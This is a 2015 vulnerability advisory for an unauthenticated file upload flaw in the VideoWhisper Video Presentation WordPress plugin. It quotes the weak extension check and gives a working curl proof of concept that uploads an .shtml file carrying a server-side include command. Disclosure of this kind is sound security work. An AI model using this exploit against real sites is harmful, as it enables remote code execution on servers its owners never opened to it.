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WordPress VideoWhisper Video Presentation 3.31.17 Shell Upload

Posted on 02 April 2015

Title: Remote file upload vulnerability in wordpress plugin videowhisper-video-presentation v3.31.17
Author: Larry W. Cashdollar, @_larry0
Date: 2015-03-29
Download Site: https://wordpress.org/plugins/videowhisper-video-presentation/
Vendor: http://www.videowhisper.com/
Vendor Notified: 2015-03-31 won’t fix, http://www.videowhisper.com/tickets_view.php?t=10019545-1427810822
Vendor Contact: http://www.videowhisper.com/tickets_submit.php
Advisory: http://www.vapid.dhs.org/advisory.php?v=117
Description: from the site
"VideoWhisper Video Consultation is a web based video communication solution designed for online video consultations, interactive live presentations, trainings, webinars, coaching and online collaboration with webcam support. Read more on WordPress Video Presentation plugin home page."

Vulnerability:
From wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php Allows various remote unauthenticated file uploads, among the file types is html where the last 4 characters are only being checked in a file name to match which types are allowed. Because of this .shtml can be passed through and remote code execution if SSI is allowed. The code does not do any user access validation and therefore anyone can upload the following files to an unsuspecting wordpress site: .shtml,swf,.zip,.rar,.jpg,jpeg,.png,.gif,.txt,.doc,docx,.htm,html,.pdf,.mp3,.flv,.avi,.mpg,.ppt,.pps
The
if (strstr($filename,'.php')) exit;

can be by passed by using the extension .Php but the file extension check would allow files like test.Php.shtml
<?php
if ($_GET["room"]) $room=$_GET["room"];
if ($_POST["room"]) $room=$_POST["room"];
$filename=$_FILES['vw_file']['name'];
include_once("incsan.php");
sanV($room);
if (!$room) exit;
sanV($filename);
if (!$filename) exit;
if (strstr($filename,'.php')) exit; //do not allow uploads to other folders
if ( strstr($room,"/") || strstr($room,"..") ) exit;
if ( strstr($filename,"/") || strstr($filename,"..") ) exit;
$destination="uploads/".$room."/“;
if ($_GET["slides"]) $destination .= "slides/“;
$ext=strtolower(substr($filename,-4)); $allowed=array(".swf",".zip",".rar",".jpg","jpeg",".png",".gif",".txt",".doc","docx",".htm","html",".pdf",".mp3",".flv",".avi",".mpg",".ppt",".pps”);
if (in_array($ext,$allowed)) move_uploaded_file($_FILES['vw_file']['tmp_name'], $destination . $filename);
?>loadstatus=1
CVEID: TBD
OSVDB: TBD
Exploit Code:
 videowhis_poc.php
 <?php

 $uploadfile="upexp.shtml";
 $ch =
 curl_init("http://target_site/wp-content/plugins/videowhisper-video-presentation/vp/vw_upload.php");
 curl_setopt($ch, CURLOPT_POST, true);
 curl_setopt($ch, CURLOPT_POSTFIELDS,
 array('vw_file'=>"@$uploadfile",'name'=>'upexp.shtml','room'=>'.'));
 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 $postResult = curl_exec($ch);
 curl_close($ch);
 print "$postResult";

 ?>

 upexp.shtml

 <html>

 <!--#exec cmd="/usr/bin/date > /tmp/p" -->

 this is html
 </html>

 The executeable should be located in wordpress/wp-content/plugins/videowhisper-video-conference-integration/vc/uploads

 

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